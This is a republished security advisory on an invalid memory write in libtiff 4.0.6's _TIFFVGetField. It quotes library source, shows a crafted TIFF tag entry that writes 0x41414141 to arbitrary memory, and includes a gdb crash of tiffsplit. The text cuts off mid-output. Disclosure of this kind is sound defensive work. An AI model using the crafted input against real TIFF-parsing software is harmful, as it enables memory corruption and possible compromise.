Home / vulnerabilities libtiff 4.0.6 Invalid Write
Posted on 29 December 2015
Source : packetstormsecurity.org Link
`_TIFFVGetField()' in libtiff-4.0.6 may write field data for certain
extension tags to invalid or possibly arbitrary memory.
Each tag has a `field_passcount' variable in their TIFFField struct:
tiff-4.0.6/libtiff/tif_dir.h #276..289:
,----
| struct _TIFFField {
| uint32 field_tag; /* field's tag */
| short field_readcount; /* read count/TIFF_VARIABLE/TIFF_SPP */
| short field_writecount; /* write count/TIFF_VARIABLE */
| TIFFDataType field_type; /* type of associated data */
| uint32 reserved; /* reserved for future extension */
| TIFFSetGetFieldType set_field_type; /* type to be passed to TIFFSetField */
| TIFFSetGetFieldType get_field_type; /* type to be passed to TIFFGetField */
| unsigned short field_bit; /* bit in fieldsset bit vector */
| unsigned char field_oktochange; /* if true, can change while writing */
| unsigned char field_passcount; /* if true, pass dir count on set */
| char* field_name; /* ASCII name */
| TIFFFieldArray* field_subfields; /* if field points to child ifds, child ifd field definition array */
| };
`----
For example:
tiff-4.0.6/libtiff/tif_fax3.c #1139..1141:
,----
| static const TIFFField fax3Fields[] = {
| { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL },
| };
`----
However, `field_passcount' is always assigned TRUE if the tag is
processed by `_TIFFCreateAnonField()'. This happens on unsuccessful
invocations of `TIFFReadDirectoryFindFieldInfo()':
tiff-4.0.6/libtiff/tif_dirread.c #3396..4076:
,----
| int
| TIFFReadDirectory(TIFF* tif)
| {
| [...]
| TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii);
| if (fii == FAILED_FII)
| {
| TIFFWarningExt(tif->tif_clientdata, module,
| "Unknown field with tag %d (0x%x) encountered",
| dp->tdir_tag,dp->tdir_tag);
| /* the following knowingly leaks the
| anonymous field structure */
| if (!_TIFFMergeFields(tif,
| _TIFFCreateAnonField(tif,
| dp->tdir_tag,
| (TIFFDataType) dp->tdir_type),
| 1)) {
| [...]
| }
`----
tiff-4.0.6/libtiff/tif_dirinfo.c #627..719:
,----
| TIFFField*
| _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type)
| {
| [...]
| fld->field_bit = FIELD_CUSTOM;
| [...]
| fld->field_passcount = TRUE;
| [...]
| }
`----
If the field for a 1-count extension tag whose `field_passcount' has
been overridden is later read by `_TIFFVGetField()', this happens:
tiff-4.0.6/libtiff/tif_dir.c #823..1145:
,----
| static int
| _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap)
| {
| [...]
| uint32 standard_tag = tag;
| [...]
| if (fip->field_bit == FIELD_CUSTOM) {
| standard_tag = 0;
| }
|
| switch (standard_tag) {
| [...]
| default:
| {
| [...]
| for (i = 0; i < td->td_customValueCount; i++) {
| [...]
| if (fip->field_passcount) {
| if (fip->field_readcount == TIFF_VARIABLE2)
| *va_arg(ap, uint32*) = (uint32)tv->count;
| else /* Assume TIFF_VARIABLE */
| *va_arg(ap, uint16*) = (uint16)tv->count;
| *va_arg(ap, void **) = tv->value;
| ret_val = 1;
| }
| [...]
| }
| }
| }
| [...]
| }
`----
With an invocation of `TIFFGetField()' such as:
,----
| TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst);
`----
for a TIFFTAG_GROUP3OPTIONS specified as:
,----
| 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
| ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^
| tag type count offset/value
`----
the count is written to `dst', whereas 0x41414141 is written to
invalid/arbitrary memory.
Using the included tiffsplit utility as an example:
tiff-4.0.6/tools/tiffsplit.c #157..228:
,----
| static int
| tiffcp(TIFF* in, TIFF* out)
| {
| [...]
| CopyField(TIFFTAG_YRESOLUTION, floatv);
| CopyField(TIFFTAG_GROUP3OPTIONS, longv);
| [...]
| }
`----
,----
| $ gdb -q --args tiffsplit tag.tiff
| Reading symbols from tiffsplit...done.
| (gdb) r
| TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered.
|
| Program received signal SIGSEGV, Segmentation fault.
| 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 "